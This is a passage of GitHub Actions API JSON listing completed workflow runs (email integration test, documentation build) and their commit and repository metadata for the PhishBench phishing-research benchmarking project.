:1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534927","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794728","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802422196,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nCZG0","head_branch":"scipy-fix","head_sha":"13676d10e58272a666255a60dc2016ea58d298ed","path":".github/workflows/Email_Integration_Test.yml","display_title":"Fix typo","run_number":98,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7680174607,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycYqDw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802422196","pull_requests":[],"created_at":"2022-08-05T08:48:55Z","updated_at":"2022-08-05T09:11:38Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T08:48:55Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680174607","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422196/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"13676d10e58272a666255a60dc2016ea58d298ed","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix typo","timestamp":"2022-08-05T08:48:47Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802422180,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nCZGk","head_branch":"scipy-fix","head_sha":"13676d10e58272a666255a60dc2016ea58d298ed","path":".github/workflows/Documentation.yml","display_title":"Fix typo","run_number":81,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7680174576,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycYp8A","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802422180","pull_requests":[],"created_at":"2022-08-05T08:48:55Z","updated_at":"2022-08-05T08:50:56Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T08:48:55Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680174576","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802422180/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"13676d10e58272a666255a60dc2016ea58d298ed","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix typo","timestamp":"2022-08-05T08:48:47Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subs